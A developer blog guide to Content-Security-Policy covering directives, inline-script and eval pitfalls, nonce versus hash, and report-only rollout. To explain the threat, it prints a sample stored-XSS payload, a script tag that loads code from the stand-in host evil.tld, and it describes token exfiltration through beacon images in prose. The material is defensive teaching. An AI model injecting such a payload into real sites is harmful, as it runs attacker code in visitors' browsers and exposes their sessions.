HTTP Security Headers·8 min read

What is Content-Security-Policy (CSP)? A Practical Guide

A working developer's guide to Content-Security-Policy: how the directives compose, why inline scripts and eval are flagged, when nonces beat hashes, and the report-only-first migration path that keeps a real site from breaking on day one.

by Dowon Oh

This is part of the HTTP Security Headers guide. Content-Security-Policy — usually written CSP — is the response header that tells a browser which sources of script, style, image, font, connect, and frame the page is allowed to use. When the browser sees a request that violates the policy it drops the resource on the floor, optionally beacons a violation report back to an endpoint you control, and continues rendering with the rest of the page intact. It is the single biggest lever any client-side application has against cross-site scripting, and the one I reach for first when I audit a third-party endpoint or harden my own. The mechanism itself is a comma-and-semicolon-delimited string, but the directives interact with browser-based rendering, third-party widgets, and the build pipeline in ways that catch teams off guard the first time they ship it. This article walks through what to put in the header, the inline-script and eval pitfalls that account for most rollout failures, the choice between nonce and hash, and the report-only ramp that lets you deploy CSP on a real site without breaking it on day one.

Why it matters

The classic threat CSP defends against is stored cross-site scripting. An attacker drops a payload like an inline <script src="https://evil.tld/c.js"></script> into a comment field, the application reflects it back into a rendered page, and every visitor's browser obediently executes the attacker's code in the application's origin — same cookies, same fetch credentials, same DOM access. Without CSP, the browser has no rule that says "do not load script from evil.tld," so the request goes out and the attack succeeds. With script-src 'self' set, the browser refuses the cross-origin load and writes a violation message to the console; the injected payload is inert.

Post-XSS data exfiltration is the second class of attack worth naming. Even if an attacker manages to run code inside the origin (for example by compromising a third-party tag the site embeds), CSP can still cap what that code is allowed to send back out. connect-src 'self' blocks fetch and XMLHttpRequest to attacker-controlled hosts; img-src 'self' blocks the trick where stolen tokens are smuggled out as the path of a beacon image; frame-src and frame-ancestors constrain iframe loading and embedding. Mozilla MDN documents every directive with exact keyword grammar and browser-version notes, and is the reference I keep open in a tab when I am tightening a policy.

What the header looks like

A reasonable starter policy fits on one response-header line:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'

Here it is in context, the way it shows up when you run curl -I against a hardened production host:

$ curl -I https://example.com
HTTP/2 200
content-type: text/html; charset=utf-8
content-security-policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'
strict-transport-security: max-age=31536000; includeSubDomains
x-content-type-options: nosniff
cache-control: max-age=600

A few details to read off the example. default-src 'self' is the fallback that applies to any resource type you do not name explicitly. The named directives — script-src, style-src, img-src, connect-src — override the fallback for those specific resource types, so once you list script-src it stops inheriting from default-src. The keyword 'self' means same-origin (same scheme, host, and port). 'none' is the strictest possible value and refuses every source. data: lets the page load data: URI images, which matters in practice because many UI libraries inline small icons that way. frame-ancestors controls who can embed your page in their iframe — the modern replacement for X-Frame-Options.

Inline scripts and 'unsafe-inline'

The single biggest source of CSP rollout failure is inline content that the browser refuses by default. Any literal <script>...</script> block, any style="..." attribute, any onclick="..." handler, and any javascript: URL is treated as inline and is blocked unless you explicitly opt in to 'unsafe-inline'. The trap is that 'unsafe-inline' essentially turns the CSP off for the directive it appears in: an attacker who can inject script-tag HTML can also inject a literal <script> block, and that block will now run, which defeats the point of having CSP at all.

Three migration options are available, and each has a real cost.

The cleanest move is to lift every inline script into an external file served from the same origin and let script-src 'self' cover it. Greenfield code paths should default to this. The work is mechanical for new code; for legacy code it can be a non-trivial refactor because inline onclick="..." handlers and inline event registration have to be rewritten as addEventListener calls.

For server-rendered pages where you genuinely need an inline block — analytics bootstrap, critical CSS, an early-error reporter that has to run before the bundle parses — the modern answer is a per-request nonce. The server generates a random string per response, includes it in the header (script-src 'nonce-XYZ') and on every <script nonce="XYZ"> tag the response emits. The browser only runs scripts whose nonce attribute matches the policy. This works well for dynamic origins but does not survive static-CDN caching of the HTML, because every response needs a fresh value.

The third option is a hash: compute the SHA-256 of the inline block at build time and list it in the header (script-src 'sha256-...'). It works for inline content that is fully static — the same string in every response — but any byte change invalidates the hash, so the build pipeline has to recompute and re-emit it on every release. W3C CSP Level 3 defines the nonce and hash matching algorithms, including the rule that adding 'strict-dynamic' lets a nonced root script load further scripts without listing each one in script-src — useful when a bundler emits dependencies whose names you cannot enumerate ahead of time.

Nonce vs hash: when to use each

MechanismBest forTradeoff
'nonce-XYZ'Server-rendered pages with dynamic inline scriptsRequires per-request token plumbing; defeats static-CDN HTML caching
'sha256-...'Static, build-time-fixed inline blocks (critical CSS, analytics bootstrap)Any byte change invalidates the hash — recompute on every build
External 'self'Any new code pathRefactor cost; cannot fix legacy inline onclick="..." handlers without a rewrite

The rule of thumb I use: dynamic content gets a nonce, static content gets a hash, and greenfield code goes external. If the inline block could plausibly change between deploys, use a nonce so the build pipeline does not have to track its byte-by-byte content. If the block is locked at release time and the HTML is cached by a CDN, the hash wins because it lets the same response work for every visitor without per-request mutation.

'unsafe-eval' deserves a separate mention. It exists because some templating libraries (older Vue, Knockout, Handlebars) use eval or new Function under the hood. Allowing it weakens CSP roughly the way 'unsafe-inline' does. The right path is to upgrade or replace the library; the wrong path is to ship 'unsafe-eval' indefinitely because rewriting the templates feels expensive.

Content-Security-Policy-Report-Only — deploy without breaking anything

The hardest part of shipping CSP on a real, production-traffic application is that you do not always know what your own pages currently load. Vendor scripts mutate over time. Marketing tags appear without engineering involvement. A page that worked yesterday breaks today because the analytics provider rotated its CDN host. Deploying an enforcing policy blind is how you discover those facts the hard way.

The migration safety net is the Content-Security-Policy-Report-Only header. It has the exact same grammar as Content-Security-Policy but the browser does not block resources — it logs every violation to the developer console and, if you specify report-uri (legacy) or report-to (modern), POSTs a JSON violation report to your endpoint. You learn what your site actually loads without breaking anything for users.

The cadence I use:

  1. Ship the candidate policy as Content-Security-Policy-Report-Only with a report-to endpoint configured.
  2. Run for one to two weeks under real traffic; collect every violation report.
  3. Triage: legitimate sources get added to the policy, illegitimate or unexpected ones get investigated.
  4. Once the report stream is empty for legitimate paths, flip the header name to Content-Security-Policy and deploy as enforcing.

OWASP CSP Cheat Sheet recommends starting in report-only mode for exactly this reason, and walks through the directive-by-directive prioritization for tightening the policy after the report stream stabilizes. For ingestion, report-uri.com accepts violation POSTs without you running a backend; a self-hosted endpoint is a small Express or Cloudflare Worker route that writes the JSON body to a log.

Common pitfalls I have hit

A few hits that show up every time I audit CSP on a site with significant third-party surface.

Third-party widgets — analytics, chat, ad networks, customer-success tools — frequently inject inline scripts on the page and load further scripts from CDN origins they do not document up front. The right move is to add the vendor's documented origin to script-src and a nonce strategy for any inline they emit; the wrong move is to globally allow 'unsafe-inline' because debugging the vendor was annoying.

connect-src is the directive that bites silently. WebSocket, EventSource, and fetch calls to a different origin do not crash the page when CSP refuses them — they just silently fail. The user sees a page that loads but stops receiving updates, and there is no exception in the console flow, only the CSP violation message. Whenever a real-time feature stops working after a CSP rollout, connect-src is the first thing I check, in browser, with the network panel open and the console filtered for "Refused to connect."

frame-ancestors is sometimes confused with X-Frame-Options. They overlap — both control who can embed your page in an iframe — but frame-ancestors is the modern, CSP3-native control and is the one to set going forward. If both headers are present, modern browsers honor frame-ancestors and ignore X-Frame-Options. Setting both is fine for legacy-browser support; setting only X-Frame-Options leaves a gap.

Test your own CSP

If you want to inspect what your server sends today and where it stands against best practice, run a check with the HTTP Header Analyzer — it parses the response in browser with no upload, so you can audit a third-party endpoint without leaving evidence in someone else's logs. The analyzer flags missing or weak CSP configurations, calls out 'unsafe-inline' and 'unsafe-eval' if they appear, and surfaces every directive in a readable table so you can see at a glance which resource types are still falling through to the default-src fallback. web.dev publishes a parallel walkthrough of the same audit perspective if you want to compare notes after running the tool.

Sources

Specifications

OWASP

Mozilla MDN

web.dev

Further reading